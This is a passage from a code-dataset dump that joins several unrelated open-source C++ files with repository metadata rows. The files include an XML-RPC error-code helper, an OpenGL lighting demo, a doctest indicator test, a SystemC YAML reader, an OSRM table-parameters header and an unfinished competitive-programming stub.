] | null | null | null | modules/xmlrpc_server/xmlrpc_utility.hpp | goodspeed24e/2014iOT | 139f6e2131f8a94cb876328b5f733e3feef77707 | [
"MIT"
] | null | null | null | #ifndef FBi_XMLRPC_UTILITY_HPP
#define FBi_XMLRPC_UTILITY_HPP
#include <xmlrpc_server/libxmlrpc_server_config.h>
namespace FBi
{
/// The utility class for XMLRPC.
class LIBXMLRPCSERVER_DECL XMLRPC_Utility
{
public:
/**
* @brief Function to get the default error string of XMLRPC.
*
* @param[in] error_code The default error code of XMLRPC.
* @return The default error string correspond with the input error code.
*/
static std::string GetXMLRPCErrorString(int error_code)
{
switch(error_code)
{
case -32700:
return "Parse error. not well formed. ";
case -32701:
return "Parse error. unsupported encoding. ";
case -32702:
return "Parse error. invalid character for encoding. ";
case -32600:
return "Server error. invalid xml-rpc. not conforming to spec. ";
case -32601:
return "Server error. requested method not found. ";
case -32602:
return "Server error. invalid method parameters. ";
case -32603:
return "Server error. internal xml-rpc error. ";
case -32500:
return "Application error. ";
case -32400:
return "System error. ";
case -32300:
return "Transport error. ";
default:
return "";
}
}
};
}
#endif
| 22.018519 | 74 | 0.700589 | goodspeed24e |
78ef66820933b7e1972d9596aee1bcf05a0fe1a3 | 1,401 | cpp | C++ | src/position.cpp | aalin/synthz0r | ecf35b3fec39020e46732a15874b66f07a3e48e9 | [
"MIT"
] | 1 | 2021-12-23T21:14:37.000Z | 2021-12-23T21:14:37.000Z | src/position.cpp | aalin/synthz0r | ecf35b3fec39020e46732a15874b66f07a3e48e9 | [
"MIT"
] | null | null | null | src/position.cpp | aalin/synthz0r | ecf35b3fec39020e46732a15874b66f07a3e48e9 | [
"MIT"
] | null | null | null | #include "position.hpp"
#include <iostream>
#include <regex>
uint32_t Position::parse(const std::string &str) {
const std::regex re("^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$");
std::smatch match;
if (!std::regex_match(str, match, re)) {
throw std::runtime_error("Could not parse string");
}
const uint32_t bar = atoi(match.str(1).c_str());
const uint8_t beat = atoi(match.str(2).c_str());
const uint8_t sixteenths = atoi(match.str(3).c_str());
const uint8_t ticks = atoi(match.str(4).c_str());
return ticksFromPosition(bar, beat, sixteenths, ticks);
}
std::string Position::toString() const {
std::ostringstream oss;
oss <<
"Position(" <<
(uint32_t)bar << "." <<
(uint32_t)beat << "." <<
(uint32_t)sixteenths << "." <<
(uint32_t)ticks << ")";
return oss.str();
}
std::ostream & operator<<(std::ostream &out, const Position &position) {
return out << position.toString();
}
void Position::update(const float &bpm, const float &sampleRate) {
const double ticksPerSecond = (bpm * 4.0 * 240.0) / 60.0;
recalculate(_totalTicks + ticksPerSecond / sampleRate);
}
void Position::recalculate(double newTicks) {
uint32_t previousTicks = _totalTicks;
_totalTicks = newTicks;
uint32_t tmp = newTicks;
ticks = tmp % 240;
tmp /= 240;
sixteenths = tmp % 4;
tmp /= 4;
beat = tmp % 4;
bar = tmp / 4;
_ticksChanged = static_cast<uint32_t>(_totalTicks) != previousTicks;
}
| 23.35 | 72 | 0.656674 | aalin |
78efe81c282f4300c9109b8c858f8dc8676ec289 | 12,888 | cpp | C++ | src/main.cpp | hporro/Tarea2GPU | 68d7a4b01c00710e9c6094dcd627840e93178220 | [
"MIT"
] | null | null | null | src/main.cpp | hporro/Tarea2GPU | 68d7a4b01c00710e9c6094dcd627840e93178220 | [
"MIT"
] | null | null | null | src/main.cpp | hporro/Tarea2GPU | 68d7a4b01c00710e9c6094dcd627840e93178220 | [
"MIT"
] | null | null | null | #include <GL/glew.h>
#include <GLFW/glfw3.h>
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/gtc/type_ptr.hpp>
#include <iostream>
#include "Core/Shader.h"
#include "Camera/CenteredCamera.h"
#include "Model.h"
#include "Light.h"
#include "Models/Lamp.h"
#include "Models/Cube.h"
#include "Models/Tetrahedron.h"
#include "Models/Piramid.h"
#include "Models/Sphere.h"
#include "Models/ModelImporter.h"
void global_config();
void framebuffer_size_callback(GLFWwindow* glfWwindow, int width, int height);
void mouse_callback(GLFWwindow* glfWwindow, double xpos, double ypos);
void scroll_callback(GLFWwindow* glfWwindow, double xoffset, double yoffset);
void processInput();
void renderModel();
const unsigned int SCR_WIDTH = 800;
const unsigned int SCR_HEIGHT = 600;
GLFWwindow* window;
float lastX = SCR_WIDTH / 2.0f;
float lastY = SCR_HEIGHT / 2.0f;
bool firstMouse = true;
//Camera
CenteredCamera camera(glm::vec3(0.0f, 0.0f, 0.0f));
//lighting
Light *currLightN, *currLightM;
glm::vec3 lightPos1(0.00001f, -4.0f, 0.0f);
glm::vec3 lightPos2(0.00001f, 0.0f, -4.0f);
Light l1s[4], l2s[4];
//lights and camera movement parameters
float deltaTime = 0.0f; // Time between current frame and last frame
float lastFrame = 0.0f; // Time of last frame
//state machine
bool firstChangeModel = true;
bool firstChangeShader = true;
bool firstChangeLightN = true;
bool firstChangeLightM = true;
int modelRendered = 0;
int shaderRendered = 0;
int lightRenderedN = 0;
int lightRenderedM = 0;
//models
Sphere sphere;
Cube cube;
Piramid piramid;
Tetrahedron tet;
ModelImporter sword;
//Shaders
Shader* currShader;
Shader phongShader;
Shader normalMapShader;
Shader toonShader;
Shader shaders[3];
//project-view matrices
glm::mat4 view;
glm::mat4 projection;
int main() {
global_config();
sphere = Sphere(glm::vec3(0.0,0.0,0.0));
cube = Cube(glm::vec3(0.0,0.0,0.0));
piramid = Piramid(glm::vec3(0.0,0.0,0.0));
tet = Tetrahedron(glm::vec3(0.0,0.0,0.0));
std::string path = "../resources/suzanne.obj";
sword = ModelImporter(glm::vec3(0.0f,0.0f,0.0f),path);
phongShader = Shader("../src/shaders/phong.vert", "../src/shaders/phong.frag");
normalMapShader = Shader("../src/shaders/normalMapping.vert", "../src/shaders/normalMapping.frag");
toonShader = Shader("../src/shaders/toon.vert", "../src/shaders/toon.frag");
shaders[0] = phongShader;
shaders[1] = normalMapShader;
shaders[2] = toonShader;
Texture text = Texture("../resources/tex.jpg",0,GL_RGB);
sphere.addTexture(text,"normalMap");
cube.addTexture(text,"normalMap");
piramid.addTexture(text,"normalMap");
tet.addTexture(text,"normalMap");
sword.addTexture(text,"normalMap");
currShader = &shaders[shaderRendered];
sphere.setShader(*currShader);
cube.setShader(*currShader);
piramid.setShader(*currShader);
tet.setShader(*currShader);
sword.setShader(*currShader);
Lamp lamp1 = Lamp(lightPos1);
Shader lampShader1 = Shader("../src/shaders/vertex.vert", "../src/shaders/brightShader.frag");
lamp1.setShader(lampShader1);
Lamp lamp2 = Lamp(lightPos2);
Shader lampShader2 = Shader("../src/shaders/vertex.vert", "../src/shaders/brightShader.frag");
lamp2.setShader(lampShader2);
l1s[0] = Light(glm::vec3(1.0,1.0,1.0),glm::vec3(0.2f, 0.2f, 0.2f),glm::vec3(0.5f, 0.5f, 0.5f),glm::vec3(0.9f,0.9f,0.9f));
l1s[1] = Light(glm::vec3(0.0,0.0,1.0),glm::vec3(0.0f, 0.0f, 0.2f),glm::vec3(0.0f, 0.0f, 0.5f),glm::vec3(0.0f,0.0f,0.9f));
l1s[2] = Light(glm::vec3(1.0,0.0,0.0),glm::vec3(0.2f, 0.0f, 0.0f),glm::vec3(0.5f, 0.0f, 0.0f),glm::vec3(0.9f,0.0f,0.0f));
l1s[3] = Light(glm::vec3(0.0,1.0,0.0),glm::vec3(0.0f, 0.2f, 0.0f),glm::vec3(0.0f, 0.5f, 0.0f),glm::vec3(0.0f,0.9f,0.0f));
l2s[0] = Light(glm::vec3(1.0,1.0,1.0),glm::vec3(0.2f, 0.2f, 0.2f),glm::vec3(0.5f, 0.5f, 0.5f),glm::vec3(0.9f,0.9f,0.9f));
l2s[1] = Light(glm::vec3(0.0,0.0,1.0),glm::vec3(0.0f, 0.0f, 0.2f),glm::vec3(0.0f, 0.0f, 0.5f),glm::vec3(0.0f,0.0f,0.9f));
l2s[2] = Light(glm::vec3(1.0,0.0,0.0),glm::vec3(0.2f, 0.0f, 0.0f),glm::vec3(0.5f, 0.0f, 0.0f),glm::vec3(0.9f,0.0f,0.0f));
l2s[3] = Light(glm::vec3(0.0,1.0,0.0),glm::vec3(0.0f, 0.2f, 0.0f),glm::vec3(0.0f, 0.5f, 0.0f),glm::vec3(0.0f,0.9f,0.0f));
currLightN = &l1s[0];
currLightM = &l2s[0];
while(!glfwWindowShouldClose(window)){
float currentFrame = glfwGetTime();
deltaTime = currentFrame - lastFrame;
lastFrame = currentFrame;
processInput();
//glClearColor(0.0f, 0.4f, 0.3f, 1.0f);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
lamp1.setPos(lightPos1);
lamp2.setPos(lightPos2);
projection = glm::mat4(1.0f);
projection = glm::perspective(glm::radians(45.0f), (float)SCR_WIDTH / (float)SCR_HEIGHT, 0.2f, 100.0f);
view = camera.GetViewMatrix();
renderModel();
lamp1.bind();
lampShader1.setVec3("lightColor", currLightN->color);
lamp1.draw(view, projection);
lamp1.unbind();
lamp2.bind();
lampShader2.setVec3("lightColor", currLightM->color);
lamp2.draw(view, projection);
lamp2.unbind();
glfwSwapBuffers(window);
glfwPollEvents();
}
glfwTerminate();
return 0;
}
void processInput(){
float cameraSpeed = 1.0f * deltaTime;
float lightSpeed = 1.0f * deltaTime;
if(glfwGetKey(window, GLFW_KEY_ESCAPE) == GLFW_PRESS)
glfwSetWindowShouldClose(window, true);
if (glfwGetKey(window, GLFW_KEY_W) == GLFW_PRESS)
camera.ProcessKeyboard(ROLL_OUT, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_S) == GLFW_PRESS)
camera.ProcessKeyboard(ROLL_IN, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_A) == GLFW_PRESS)
camera.ProcessKeyboard(LEFT, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_D) == GLFW_PRESS)
camera.ProcessKeyboard(RIGHT, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_Q) == GLFW_PRESS)
camera.ProcessKeyboard(FORWARD, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_E) == GLFW_PRESS)
camera.ProcessKeyboard(BACKWARD, cameraSpeed);
if (glfwGetKey(window, GLFW_KEY_DOWN) == GLFW_PRESS){
float prevAngle = atan2(lightPos1.y,lightPos1.x);
float rad = glm::length(glm::vec2(lightPos1.x,lightPos1.y));
lightPos1.x = rad*cos(prevAngle-lightSpeed);
lightPos1.y = rad*sin(prevAngle-lightSpeed);
}
if (glfwGetKey(window, GLFW_KEY_UP) == GLFW_PRESS){
float prevAngle = atan2(lightPos1.y,lightPos1.x);
float rad = glm::length(glm::vec2(lightPos1.x,lightPos1.y));
lightPos1.x = rad*cos(prevAngle+lightSpeed);
lightPos1.y = rad*sin(prevAngle+lightSpeed);
}
if (glfwGetKey(window, GLFW_KEY_LEFT) == GLFW_PRESS){
float prevAngle = atan2(lightPos2.z,lightPos2.x);
float rad = glm::length(glm::vec2(lightPos2.x,lightPos2.z));
lightPos2.x = rad*cos(prevAngle-lightSpeed);
lightPos2.z = rad*sin(prevAngle-lightSpeed);
}
if (glfwGetKey(window, GLFW_KEY_RIGHT) == GLFW_PRESS){
float prevAngle = atan2(lightPos2.z,lightPos2.x);
float rad = glm::length(glm::vec2(lightPos2.x,lightPos2.z));
lightPos2.x = rad*cos(prevAngle+lightSpeed);
lightPos2.z = rad*sin(prevAngle+lightSpeed);
}
if (glfwGetKey(window, GLFW_KEY_T) == GLFW_PRESS){
if(firstChangeModel) {
modelRendered=(modelRendered+1)%5;
firstChangeModel = false;
}
}else{
firstChangeModel = true;
}
if (glfwGetKey(window, GLFW_KEY_P) == GLFW_PRESS){
if(firstChangeShader) {
shaderRendered=(shaderRendered+1)%3;
firstChangeShader = false;
currShader = &shaders[shaderRendered];
}
}else{
firstChangeShader = true;
}
if (glfwGetKey(window, GLFW_KEY_N) == GLFW_PRESS){
if(firstChangeLightN) {
lightRenderedN = (lightRenderedN+1)%4;
firstChangeLightN = false;
currLightN = &l1s[lightRenderedN];
}
}else{
firstChangeLightN = true;
}
if (glfwGetKey(window, GLFW_KEY_M) == GLFW_PRESS){
if(firstChangeLightM) {
lightRenderedM = (lightRenderedM+1)%4;
firstChangeLightM = false;
currLightM = &l2s[lightRenderedM];
}
}else{
firstChangeLightM = true;
}
if(glfwGetKey(window, GLFW_KEY_RIGHT_BRACKET) == GLFW_PRESS){ // pluss in latinamerican spanish keyboard
camera.ProcessMouseScroll(0.05);
}
if(glfwGetKey(window, GLFW_KEY_SLASH) == GLFW_PRESS){ // minnus in latinamerican spanish keyboard
camera.ProcessMouseScroll(-0.05);
}
}
void framebuffer_size_callback(GLFWwindow* glfWwindow, int width, int height){
glViewport(0, 0, width, height);
}
void mouse_callback(GLFWwindow* glfWwindow, double xpos, double ypos){
if (firstMouse)
{
lastX = xpos;
lastY = ypos;
firstMouse = false;
}
float xoffset = xpos - lastX;
float yoffset = lastY - ypos; // reversed since y-coordinates go from bottom to top
lastX = xpos;
lastY = ypos;
camera.ProcessMouseMovement(xoffset, yoffset);
}
void scroll_callback(GLFWwindow* glfWwindow, double xoffset, double yoffset){
camera.ProcessMouseScroll(yoffset);
}
void global_config(){
//glfw window initialization
glfwInit();
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
window = glfwCreateWindow(SCR_WIDTH, SCR_HEIGHT, "Tarea2GPU", NULL, NULL);
if (window == NULL)
{
std::cout << "Failed to create GLFW window" << std::endl;
glfwTerminate();
exit(-1);
}
glfwMakeContextCurrent(window);
if (glewInit()!=GLEW_OK)
{
std::cout << "Failed to initialize GLEW" << std::endl;
exit(-1);
}
//viewport and callbacks setting
glViewport(0, 0, SCR_WIDTH, SCR_HEIGHT);
glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);
glfwSetCursorPosCallback(window, mouse_callback);
glfwSetScrollCallback(window, scroll_callback);
// glfwSetInputMode(window, GLFW_CURSOR, GLFW_CURSOR_ENABLED);
glEnable(GL_DEPTH_TEST);
//texture wrapping / filtering / mipmapping
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_MIRRORED_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_MIRRORED_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
//uncoment for debugging models
//glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
}
void renderModel(){
currShader->use();
currShader->setVec3("material.ambient", 0.5f, 0.25f, 0.15f);
currShader->setVec3("material.diffuse", 1.0f, 0.5f, 0.31f);
currShader->setVec3("material.specular", 0.5f, 0.5f, 0.5f);
currShader->setFloat("material.shininess", 64.0f);
currShader->setVec3("lights[0].color", currLightN->color);
currShader->setVec3("lights[0].position", lightPos1);
currShader->setVec3("lights[0].ambient", currLightN->ambient);
currShader->setVec3("lights[0].diffuse", currLightN->diffuse);
currShader->setVec3("lights[0].specular", currLightN->specular);
currShader->setVec3("lights[1].color", currLightM->color);
currShader->setVec3("lights[1].position", lightPos2);
currShader->setVec3("lights[1].ambient", currLightM->ambient);
currShader->setVec3("lights[1].diffuse", currLightM->diffuse);
currShader->setVec3("lights[1].specular", currLightM->specular);
currShader->setVec3("viewPos", camera.getCameraPosition().x,camera.getCameraPosition().y,camera.getCameraPosition().z);
if(modelRendered == 1){
sword.setShader(*currShader);
sword.bind();
sword.draw(view, projection);
sword.unbind();
}
if(modelRendered == 0){
sphere.setShader(*currShader);
sphere.bind();
sphere.draw(view, projection);
sphere.unbind();
}
if(modelRendered == 2){
cube.setShader(*currShader);
cube.bind();
cube.draw(view, projection);
cube.unbind();
}
if(modelRendered == 3){
piramid.setShader(*currShader);
piramid.bind();
piramid.draw(view, projection);
piramid.unbind();
}
if(modelRendered == 4){
tet.setShader(*currShader);
tet.bind();
tet.draw(view, projection);
tet.unbind();
}
} | 33.216495 | 125 | 0.661468 | hporro |
78f11d8c13c0650f96c3b9562190a0c38b14e72c | 1,478 | cpp | C++ | hikyuu_cpp/unit_test/hikyuu/indicator/test_UPNDAY.cpp | kknet/hikyuu | 650814c3e1d32894ccc1263a0fecd6693028d2e3 | [
"MIT"
] | 1 | 2021-11-21T08:42:35.000Z | 2021-11-21T08:42:35.000Z | hikyuu_cpp/unit_test/hikyuu/indicator/test_UPNDAY.cpp | kknet/hikyuu | 650814c3e1d32894ccc1263a0fecd6693028d2e3 | [
"MIT"
] | null | null | null | hikyuu_cpp/unit_test/hikyuu/indicator/test_UPNDAY.cpp | kknet/hikyuu | 650814c3e1d32894ccc1263a0fecd6693028d2e3 | [
"MIT"
] | null | null | null | /*
* test_AMA.cpp
*
* Created on: 2013-4-10
* Author: fasiondog
*/
#include "doctest/doctest.h"
#include <fstream>
#include <hikyuu/StockManager.h>
#include <hikyuu/indicator/crt/UPNDAY.h>
#include <hikyuu/indicator/crt/CVAL.h>
#include <hikyuu/indicator/crt/KDATA.h>
using namespace hku;
/**
* @defgroup test_indicator_AMA test_indicator_UPNDAY
* @ingroup test_hikyuu_indicator_suite
* @{
*/
/** @par 检测点 */
TEST_CASE("test_UPNDAY_dyn") {
Stock stock = StockManager::instance().getStock("sh000001");
KData kdata = stock.getKData(KQuery(-30));
// KData kdata = stock.getKData(KQuery(0, Null<size_t>(), KQuery::MIN));
Indicator c = CLOSE(kdata);
Indicator expect = UPNDAY(c, 10);
Indicator result = UPNDAY(c, CVAL(c, 10));
// CHECK_EQ(expect.discard(), result.discard());
CHECK_EQ(expect.size(), result.size());
for (size_t i = 0; i < result.discard(); i++) {
CHECK_UNARY(std::isnan(result[i]));
}
for (size_t i = expect.discard(); i < expect.size(); i++) {
CHECK_EQ(expect[i], doctest::Approx(result[i]));
}
result = UPNDAY(c, IndParam(CVAL(c, 10)));
// CHECK_EQ(expect.discard(), result.discard());
CHECK_EQ(expect.size(), result.size());
for (size_t i = 0; i < result.discard(); i++) {
CHECK_UNARY(std::isnan(result[i]));
}
for (size_t i = expect.discard(); i < expect.size(); i++) {
CHECK_EQ(expect[i], doctest::Approx(result[i]));
}
}
/** @} */
| 28.423077 | 76 | 0.622463 | kknet |
78f1537e3a3f56bbfc817d479e86baa8e2e3738c | 2,501 | cpp | C++ | unit_test/xyaml.cpp | UndefeatedSunny/sc-platform | 5897c460bf7a4b9694324f09d2492f5e157a3955 | [
"Apache-2.0"
] | 8 | 2021-06-03T15:22:26.000Z | 2022-03-18T19:09:10.000Z | unit_test/xyaml.cpp | UndefeatedSunny/sc-platform | 5897c460bf7a4b9694324f09d2492f5e157a3955 | [
"Apache-2.0"
] | null | null | null | unit_test/xyaml.cpp | UndefeatedSunny/sc-platform | 5897c460bf7a4b9694324f09d2492f5e157a3955 | [
"Apache-2.0"
] | 1 | 2021-11-17T15:01:44.000Z | 2021-11-17T15:01:44.000Z | #include "report/report.hpp"
#include "report/summary.hpp"
#include "common/common.hpp"
#include "yaml-cpp/yaml.h"
#include <string>
using namespace std;
using namespace sc_core;
namespace {
const char * const MSGID{ "/Doulos/Example/yaml" };
}
string nodeType( const YAML::Node& node )
{
string result;
switch (node.Type()) {
case YAML::NodeType::Null: result = "YAML::NodeType::Null"; break;
case YAML::NodeType::Scalar: result = "YAML::NodeType::Scalar"; break;
case YAML::NodeType::Sequence: result = "YAML::NodeType::Sequence"; break;
case YAML::NodeType::Map: result = "YAML::NodeType::Map"; break;
case YAML::NodeType::Undefined: result = "YAML::NodeType::Undefined"; break;
}
return result;
}
#define SHOW(w,n,t) do {\
if( n ) {\
MESSAGE( "\n " << w << " = " << n.as<t>() );\
}\
}while(0)
#define SHOW2(w,t) do {\
if( pt.second[w] ) {\
MESSAGE( " " << w << "=" << pt.second[w].as<t>() );\
}\
}while(0)
int sc_main( int argc, char* argv[] )
{
sc_report_handler::set_actions( SC_ERROR, SC_DISPLAY | SC_LOG );
sc_report_handler::set_actions( SC_FATAL, SC_DISPLAY | SC_LOG );
// Defaults
string busname{ "top.nth" };
string filename{ "memory_map.yaml" };
// Scan command-line
for( int i=1; i<sc_argc(); ++i ) {
string arg( sc_argv()[i] );
if( arg.find(".yaml") == arg.size() - 5 ) {
filename = arg;
} else if( arg.find("-") != 0 ) {
busname = arg;
}
}
INFO( ALWAYS, "Searching for busname=" << busname );
YAML::Node root;
try {
root = YAML::LoadFile( filename );
} catch (const YAML::Exception& e) {
REPORT( FATAL, e.what() );
}
for( const auto& p : root ) {
if( p.first.as<string>() != busname ) continue;
MESSAGE( p.first.as<string>());
SHOW( "addr", p.second["addr"], string );
SHOW( "size", p.second["size"], Depth_t );
for( const auto& pt : p.second["targ"] ) {
MESSAGE( pt.first.as<string>() << " => " );
if( pt.second["addr"] )
MESSAGE( " " << "addr" << "=" << pt.second["addr"].as<Addr_t>() );
if( pt.second["size"] )
MESSAGE( " " << "size" << "=" << pt.second["size"].as<string>() );
if( pt.second["kind"] )
MESSAGE( " " << "kind" << "=" << pt.second["kind"].as<string>() );
if( pt.second["irq"] )
MESSAGE( " " << "irq" << "=" << pt.second["irq"].as<int>() );
MESSAGE( "\n" );
}
MEND( MEDIUM );
}
return Summary::report();
}
| 28.747126 | 80 | 0.55058 | UndefeatedSunny |
78f17b1e168022855a965c270de352807887f8a6 | 3,606 | hpp | C++ | include/engine/api/table_parameters.hpp | jhermsmeier/osrm-backend | 7b11cd3a11c939c957eeff71af7feddaa86e7f82 | [
"BSD-2-Clause"
] | 1 | 2017-04-15T22:58:23.000Z | 2017-04-15T22:58:23.000Z | include/engine/api/table_parameters.hpp | jhermsmeier/osrm-backend | 7b11cd3a11c939c957eeff71af7feddaa86e7f82 | [
"BSD-2-Clause"
] | 1 | 2019-11-21T09:59:27.000Z | 2019-11-21T09:59:27.000Z | include/engine/api/table_parameters.hpp | jhermsmeier/osrm-backend | 7b11cd3a11c939c957eeff71af7feddaa86e7f82 | [
"BSD-2-Clause"
] | 1 | 2020-11-19T08:51:11.000Z | 2020-11-19T08:51:11.000Z | /*
Copyright (c) 2016, Project OSRM contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef ENGINE_API_TABLE_PARAMETERS_HPP
#define ENGINE_API_TABLE_PARAMETERS_HPP
#include "engine/api/base_parameters.hpp"
#include <cstddef>
#include <algorithm>
#include <iterator>
#include <vector>
namespace osrm
{
namespace engine
{
namespace api
{
/**
* Parameters specific to the OSRM Table service.
*
* Holds member attributes:
* - sources: indices into coordinates indicating sources for the Table service, no sources means
* use all coordinates as sources
* - destinations: indices into coordinates indicating destinations for the Table service, no
* destinations means use all coordinates as destinations
*
* \see OSRM, Coordinate, Hint, Bearing, RouteParame, RouteParameters, TableParameters,
* NearestParameters, TripParameters, MatchParameters and TileParameters
*/
struct TableParameters : public BaseParameters
{
std::vector<std::size_t> sources;
std::vector<std::size_t> destinations;
TableParameters() = default;
template <typename... Args>
TableParameters(std::vector<std::size_t> sources_,
std::vector<std::size_t> destinations_,
Args... args_)
: BaseParameters{std::forward<Args>(args_)...}, sources{std::move(sources_)},
destinations{std::move(destinations_)}
{
}
bool IsValid() const
{
if (!BaseParameters::IsValid())
return false;
// Distance Table makes only sense with 2+ coodinates
if (coordinates.size() < 2)
return false;
// 1/ The user is able to specify duplicates in srcs and dsts, in that case it's her fault
// 2/ len(srcs) and len(dsts) smaller or equal to len(locations)
if (sources.size() > coordinates.size())
return false;
if (destinations.size() > coordinates.size())
return false;
// 3/ 0 <= index < len(locations)
const auto not_in_range = [this](const std::size_t x) { return x >= coordinates.size(); };
if (std::any_of(begin(sources), end(sources), not_in_range))
return false;
if (std::any_of(begin(destinations), end(destinations), not_in_range))
return false;
return true;
}
};
}
}
}
#endif // ENGINE_API_TABLE_PARAMETERS_HPP
| 33.388889 | 98 | 0.710483 | jhermsmeier |
78f1aec8a73f7eae04a5955e832f42c3944231a6 | 523 | cpp | C++ | landscaper/src/quad_3D.cpp | llGuy/landscaper | 7b9874c73bd7f5f07a340b9043fdeace032b6c49 | [
"MIT"
] | null | null | null | landscaper/src/quad_3D.cpp | llGuy/landscaper | 7b9874c73bd7f5f07a340b9043fdeace032b6c49 | [
"MIT"
] | null | null | null | landscaper/src/quad_3D.cpp | llGuy/landscaper | 7b9874c73bd7f5f07a340b9043fdeace032b6c49 | [
"MIT"
] | null | null | null | #include "quad_3D.h"
quad_3D::quad_3D(glm::vec3 const & p1, glm::vec3 const & p2,
glm::vec3 const & p3, glm::vec3 const & p4)
: verts { p1, p2, p3, p4 }
{
}
auto quad_3D::create(resource_handler & rh) -> void
{
vertex_buffer.create();
vertex_buffer.fill(verts.size() * sizeof(glm::vec3), verts.data(), GL_STATIC_DRAW, GL_ARRAY_BUFFER);
layout.create();
layout.bind();
layout.attach(vertex_buffer, attribute{ GL_FLOAT, 3, GL_FALSE, 3 * sizeof(float), nullptr, false });
}
auto quad_3D::destroy(void) -> void
{
} | 23.772727 | 101 | 0.680688 | llGuy |
78f1bc6faa242b41e71cd36bb5c129ef3b959a56 | 1,115 | cpp | C++ | Source/Ilum/Graphics/Model/SubMesh.cpp | LavenSun/IlumEngine | 94841e56af3c5214f04e7a94cb7369f4935c5788 | [
"MIT"
] | 1 | 2021-11-20T15:39:09.000Z | 2021-11-20T15:39:09.000Z | Source/Ilum/Graphics/Model/SubMesh.cpp | LavenSun/IlumEngine | 94841e56af3c5214f04e7a94cb7369f4935c5788 | [
"MIT"
] | null | null | null | Source/Ilum/Graphics/Model/SubMesh.cpp | LavenSun/IlumEngine | 94841e56af3c5214f04e7a94cb7369f4935c5788 | [
"MIT"
] | null | null | null | #include "SubMesh.hpp"
namespace Ilum
{
SubMesh::SubMesh(std::vector<Vertex> &&vertices, std::vector<uint32_t> &&indices, uint32_t index_offset, scope<material::DisneyPBR> &&material) :
vertices(std::move(vertices)),
indices(std::move(indices)),
index_offset(index_offset),
material(*material)
{
for (auto& vertex : this->vertices)
{
bounding_box.merge(vertex.position);
}
}
SubMesh::SubMesh(SubMesh &&other) noexcept :
vertices(std::move(other.vertices)),
indices(std::move(other.indices)),
index_offset(other.index_offset),
bounding_box(other.bounding_box),
material(std::move(other.material))
{
other.vertices.clear();
other.indices.clear();
other.index_offset = 0;
}
SubMesh &SubMesh::operator=(SubMesh &&other) noexcept
{
vertices = std::move(other.vertices);
indices = std::move(other.indices);
index_offset = other.index_offset;
bounding_box = other.bounding_box;
material = std::move(other.material);
other.vertices.clear();
other.indices.clear();
other.index_offset = 0;
return *this;
}
} // namespace Ilum | 25.930233 | 145 | 0.686996 | LavenSun |
78f216fc904d76cba43b81d75e42fe4e7e38b1f7 | 461 | cpp | C++ | luogu/cxx/src/P3372.cpp | HoshinoTented/Solutions | 96fb200c7eb5bce17938aec5ae6efdc43b3fe494 | [
"WTFPL"
] | 1 | 2019-09-13T13:06:27.000Z | 2019-09-13T13:06:27.000Z | luogu/cxx/src/P3372.cpp | HoshinoTented/Solutions | 96fb200c7eb5bce17938aec5ae6efdc43b3fe494 | [
"WTFPL"
] | null | null | null | luogu/cxx/src/P3372.cpp | HoshinoTented/Solutions | 96fb200c7eb5bce17938aec5ae6efdc43b3fe494 | [
"WTFPL"
] | null | null | null | #include <iostream>
#include <cmath>
#define N 100000
typedef long long value_type;
int n, m, chunkLen;
value_type values[N], chunk[400];
auto rangeAdd(int begin, int end, value_type value) -> void {
for (int i = 0; i < n; ++ i) {
values[i] += value;
}
for (int i = begin / chunkLen + 0.5; i < end / chunkLen + 0.5; ++ i) {
}
}
auto main(int, char **) -> int {
std::cin >> n >> m;
chunkLen = sqrt(n) + 0.5;
for (int i = 0; i < m; ++ i) {
}
} | 15.896552 | 71 | 0.563991 | HoshinoTented |
78f310b2cdcdedcf5565e7b80b90aefa5965d1d7 | 3,510 | cpp | C++ | fboss/platform/helpers/utils.cpp | nathanawmk/fboss | 9f36dbaaae47202f9131598560c65715334a9a83 | [
"BSD-3-Clause"
